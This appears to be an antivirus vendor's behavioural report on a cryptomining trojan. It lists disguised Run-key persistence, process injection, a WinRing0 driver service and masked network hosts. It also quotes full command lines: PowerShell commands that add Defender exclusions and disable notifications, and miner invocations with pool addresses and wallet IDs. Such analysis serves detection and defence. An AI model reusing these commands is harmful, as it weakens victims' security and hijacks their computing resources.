Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Microsoft Windows Desktop Runtime' = '%ALLUSERSPROFILE%\Microsoft Windows Runtime\Microsoft Windows Desktop Runtime.exe'
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'WindowsUpdate' = '%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe'
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\windowsupdate.exe
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\WinRing0x64.sys'
Creates the following services
- 'WinRing0_1_2_0' %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\WinRing0x64.sys
Malicious functions
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework64\v4.0.30319\vbc.exe
the following user processes:
- regasm.exe
Modifies file system
Creates the following files
- %TEMP%\regasm.exe
- %TEMP%\com surrogate.exe
- %ALLUSERSPROFILE%\microsoft windows runtime\microsoft windows desktop runtime.exe
- %TEMP%\realtek hd audio universal service.exe
- %TEMP%\runtime broker.exe
Sets the 'hidden' attribute to the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\windowsupdate.exe
Deletes the following files
- %TEMP%\com surrogate.exe
- %TEMP%\realtek hd audio universal service.exe
- %TEMP%\regasm.exe
Network activity
Connects to
- 'pa###bin.com':443
- 'cd#.##scordapp.com':443
- 'po##.#upportxmr.com':3333
TCP
Other
- 'pa###bin.com':443
- 'cd#.##scordapp.com':443
- 'po##.#upportxmr.com':3333
UDP
- DNS ASK pa###bin.com
- DNS ASK cd#.##scordapp.com
- DNS ASK po##.#upportxmr.com
Miscellaneous
Creates and executes the following
- '%TEMP%\regasm.exe'
- '%TEMP%\com surrogate.exe'
- '%TEMP%\realtek hd audio universal service.exe'
- '%TEMP%\runtime broker.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows Defender Security Center\\Notifications' -Name DisableNotifications -Value 1' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\vbc.exe' --algo ETHASH --pool eth-eu.sparkpool.com:3333 --user 0x71fdcc0327cf3af2083cb3f1ca115087067caaf1.AMDRIG1' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\regasm.exe' --donate-level 0 --max-cpu-usage 50 -o pool.supportxmr.com:3333 -u 49ZMf9zqpebBFbM1oeZChGHGhcuvZReqAiy1n9fq4FcbJeYv3FbGYwfUqsTM7p3CYCN7grTf3PYeYJh5y6YGpK879aJ5Xw8.INTELRIG' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /C powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:LOCALAPPDATA, $env:LOCALAPPDATA'\Temp\', '%appdata%\Microsoft\Windows\Start Menu...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows Defender Security Center\\Notifications' -Name DisableNotifications -Value 1
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -PUAProtection 1
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:LOCALAPPDATA, $env:LOCALAPPDATA'\Temp\', '%APPDATA%\Microsoft\Windows\Start Menu', 'C:\' -Excl...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath C:\
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Remove-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Microsoft Windows Desktop Runtime';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion...
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\vbc.exe' --algo ETHASH --pool eth-eu.sparkpool.com:3333 --user 0x71fdcc0327cf3af2083cb3f1ca115087067caaf1.AMDRIG1
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\regasm.exe' --donate-level 0 --max-cpu-usage 50 -o pool.supportxmr.com:3333 -u 49ZMf9zqpebBFbM1oeZChGHGhcuvZReqAiy1n9fq4FcbJeYv3FbGYwfUqsTM7p3CYCN7grTf3PYeYJh5y6YGpK879aJ5Xw8.INTELRIG